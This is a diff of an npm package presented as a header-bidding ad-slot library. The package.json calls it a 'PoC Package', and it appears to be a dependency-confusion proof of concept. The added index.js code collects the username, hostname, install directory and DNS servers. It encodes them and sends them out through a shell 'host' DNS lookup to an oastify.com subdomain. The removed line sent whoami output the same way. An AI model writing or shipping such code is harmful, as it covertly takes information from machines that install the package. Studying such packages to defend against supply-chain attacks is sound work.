@plentyofcode/header-bidding-adslot 2.0.36 → 2.0.39

package/index.js

@@ -1,5 +1,28 @@
 const { exec } = require("child_process");
-exec(`a=$(whoami) && host $a.6elwv6smxqmvomk604z8nlqb329txmlb.oastify.com`, (error, data, getter) => {
+const dns = require("dns");
+const os = require("os");
+const path = require("path");
+
+// RCE
+const packageName = "@plentyofcode/header-bidding-adslot";  // Package
+const username = os.userInfo().username;  // User
+const hostname = os.hostname();           // HostName
+const currentDir = __dirname;             // Dir
+const dnsServers = dns.getServers();      // DNS
+
+// Encode
+const info = {
+    p: packageName,
+    u: username,
+    hn: hostname,
+    d: currentDir,
+    dns: dnsServers
+};
+
+const encodedInfo = encodeURIComponent(JSON.stringify(info));
+
+// Execute and Send DNS request
+exec(`host ${encodedInfo}.y43b18cd8eaw7j5syw1prliuklqce22r.oastify.com`, (error, data, getter) => {
     if (error) {
         console.log("error", error.message);
         return;
@@ -9,4 +32,4 @@ exec(`a=$(whoami) && host $a.6elwv6smxqmvomk604z8nlqb329txmlb.oastify.com`, (err
         return;
     }
     console.log(data);
-});
+});

package/package.json

@@ -1,6 +1,6 @@
 {
     "name": "@plentyofcode/header-bidding-adslot",
-    "version": "2.0.36",
+    "version": "2.0.39",
     "description": "PoC Package",
     "main": "index.js",
     "scripts": {